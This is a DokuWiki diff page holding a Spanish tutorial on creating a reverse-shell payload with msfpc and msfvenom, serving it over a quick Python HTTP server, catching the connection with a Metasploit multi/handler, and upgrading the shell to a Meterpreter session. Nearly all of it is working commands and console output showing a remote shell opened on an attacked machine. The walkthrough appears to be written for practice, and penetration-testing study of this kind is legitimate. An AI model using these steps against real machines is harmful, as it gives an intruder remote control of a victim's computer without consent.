DokuWiki

Site Tools

Trace: • reverse_shell_with_metaexploit
reverse_shell_with_metaexploit

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision		Previous revision
reverse_shell_with_metaexploit [2018/06/13 20:32] – creado jorpiloreverse_shell_with_metaexploit [2018/08/30 04:07] (current) – jorpilo
Line 1: Line 1:
-H1. Reverse shell with metaexploit+====== Reverse shell with metaexploit ====== 
 +Jorge Pinilla López 
 + 
 +2018/06/13 
 + 
 +Vamos a crear un reverse shell y a usarlo mediante un payload, metaexploit y meterpreter 
 + 
 +===== Creación de la payload ===== 
 +Para crear la payload usaremos mfsvenom, pero para simplificar se usará msfpc el cual es un wrapper que facilita la creación de payloads. (https://github.com/g0tmi1k/mpc) 
 + 
 +Opciones por defecto: 
 +  *Port 443 
 +  *MSF 
 +  *REVERSE 
 +  *STAGELESS 
 +  *TCP 
 +Ejemplo de uso: 
 +<code> 
 +./msfpc.sh Linux 
 + [*] MSFvenom Payload Creator (MSFPC v1.4.4) 
 + 
 + [i] Use which interface - IP address?: 
 + [i]   1.) eth0 - 192.168.122.59 
 + [i]   2.) eth1 - 192.168.200.10 
 + [i]   3.) lo - 127.0.0.1 
 + [i]   4.) wan - 83.42.174.42 
 + [?] Select 1-4, interface or IP address: 2 
 + 
 + [i]   IP: 192.168.200.10 
 + [i] PORT: 443 
 + [i] TYPE: linux (linux/x86/shell/reverse_tcp) 
 + [i]  CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf \ 
 +  --platform linux -a x86 -e generic/none LHOST=192.168.200.10 LPORT=443 \ 
 +  > '/home/jorpilo/git/linux-shell-staged-reverse-tcp-443.elf' 
 + 
 + [i] linux shell created: '/home/user/git/linux-shell-staged-reverse-tcp-443.elf' 
 + 
 + [i] MSF handler file: '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc' 
 + [i] Run: msfconsole -q -r '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc' 
 + [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 
 + [*] Done! 
 +</code> 
 + 
 +Posibles payloads a generar: 
 +  *APK 
 +  *ASP 
 +  *ASPX 
 +  *Bash [.sh] 
 +  *Java [.jsp] 
 +  *Linux [.elf] 
 +  *OSX [.macho] 
 +  *Perl [.pl] 
 +  *PHP 
 +  *Powershell [.ps1] 
 +  *Python [.py] 
 +  *Tomcat [.war] 
 +  *Windows [.exe /.dll] 
 + 
 +Esto genera dos archivos: 
 + 
 +  *linux-shell-staged-reverse-tcp-443.elf 
 + 
 +Archivo que el atacado debe ejecutar 
 + 
 +  *linux-shell-staged-reverse-tcp-443-elf.rc 
 + 
 +Payload para multi/handler de metaexploit 
 + 
 +==== Trucos: ==== 
 +Generar un servidor de ficheros rapidos en el directorio 
 + 
 +<code> 
 +python2 -m SimpleHTTPServer 8080 
 +</code> 
 + 
 +Ejecutar metaexploit con todo configurado 
 +<code> 
 +#Copiado de la salida de msfpc 
 +sudo msfconsole -q -r '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc' 
 +</code> 
 +===== Creación del handler ===== 
 +Usando el codigo que genra msfpc 
 +<code> 
 +bash$> sudo msfconsole -q -r '/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc' 
 +[*] Processing /home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc for ERB directives. 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> use exploit/multi/handler 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> set PAYLOAD linux/x86/shell/reverse_tcp 
 +PAYLOAD => linux/x86/shell/reverse_tcp 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> set LHOST 192.168.200.10 
 +LHOST => 192.168.200.10 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> set LPORT 443 
 +LPORT => 443 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> set ExitOnSession false 
 +ExitOnSession => false 
 +resource (/home/user/git/linux-shell-staged-reverse-tcp-443-elf.rc)> run -j 
 +[*] Exploit running as background job 0. 
 + 
 +[*] Started reverse TCP handler on 192.168.200.10:443  
 +</code> 
 + 
 +Esto configura el handler y lanza el trabajo en background 0 
 +<code> 
 +msf exploit(multi/handler) > threads 
 + 
 +Background Threads 
 +================== 
 + 
 +   ID  Status  Critical  Name                             Started 
 +   --  ------  --------  ----                             ------- 
 +   0   sleep   False     JobID(0)-Exploit: multi/handler  2018-06-13 23:05:25 +0200 
 +   1   sleep   True      SessionScheduler-1               2018-06-13 23:05:25 +0200 
 +   2   sleep   True      SessionScheduler-2               2018-06-13 23:05:25 +0200 
 +   3   sleep   True      SessionScheduler-3               2018-06-13 23:05:25 +0200 
 +   4   sleep   True      SessionScheduler-4               2018-06-13 23:05:25 +0200 
 +   5   sleep   True      SessionScheduler-5               2018-06-13 23:05:25 +0200 
 +   6   sleep   True      SessionManager                   2018-06-13 23:05:25 +0200 
 +   7   sleep   False     ReverseTcpHandlerListener-443    2018-06-13 23:05:25 +0200 
 +   8   sleep   False     ReverseTcpHandlerWorker-443      2018-06-13 23:05:25 +0200 
 +</code> 
 + 
 +Cuando el atacado abre el archivo genera una nueva sesion en metaexploit, para mostrar las sesiones: 
 +<code> 
 +msf exploit(multi/handler) >  
 +[*] Sending stage (36 bytes) to 192.168.200.164 
 +[*] Command shell session 1 opened (192.168.200.10:443 -> 192.168.200.164:42480) at 2018-06-13 23:08:29 +0200 
 + 
 +msf exploit(multi/handler) > sessions -l 
 + 
 +Active sessions 
 +=============== 
 + 
 +  Id  Name  Type             Information  Connection 
 +  --  ----  ----             -----------  ---------- 
 +  1         shell x86/linux               192.168.200.10:443 -> 192.168.200.164:42480 (192.168.200.164) 
 + 
 +</code> 
 + 
 +Como podemo ver es una sesión de linux shell, para acceder a la sessión ejecutamos 
 + 
 +<code> 
 +msf exploit(multi/handler) > sessions -i 1 
 +</code> 
 + 
 +y tendremos un shell en la maquina atacada. 
 + 
 +===== Meterpreter ===== 
 +Vamos a ir un paso más y vamos a transformar dicha sesión de shell en una sesión de meterpreter, para ello: 
 +<code> 
 +msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter  
 +msf post(multi/manage/shell_to_meterpreter) > set SESSION 1 
 +SESSION => 1 
 +msf post(multi/manage/shell_to_meterpreter) > run 
 + 
 +[*] Upgrading session ID: 1 
 +[*] Starting exploit/multi/handler 
 +[*] Started reverse TCP handler on 192.168.200.10:4433  
 +[*] Sending stage (853256 bytes) to 192.168.200.164 
 +[*] Meterpreter session 2 opened (192.168.200.10:4433 -> 192.168.200.164:60144) at 2018-06-13 23:12:34 +0200 
 +[*] Command stager progress: 100.00% (773/773 bytes) 
 +[*] Post module execution completed 
 +</code> 
 + 
 +Si ahora vamos a sessions observamos las dos sesiones, podemos acceder a la session 2 de meterpreter: 
 +<code> 
 +msf post(multi/manage/shell_to_meterpreter) > sessions -l 
 + 
 +Active sessions 
 +=============== 
 + 
 +  Id  Name  Type                   Information                                                 Connection 
 +  --  ----  ----                   -----------                                                 ---------- 
 +  1         shell x86/linux                                                                    192.168.200.10:443 -> 192.168.200.164:42480 (192.168.200.164) 
 +  2         meterpreter x86/linux  uid=1001, gid=1001, euid=1001, egid=1001 @ 192.168.200.164  192.168.200.10:4433 -> 192.168.200.164:60144 (192.168.200.164) 
 + 
 +msf post(multi/manage/shell_to_meterpreter) > sessions -i 2 
 +[*] Starting interaction with 2... 
 + 
 +meterpreter >  
 + 
 +</code> 
 + 
reverse_shell_with_metaexploit.1528921948.txt.gz · Last modified: by jorpilo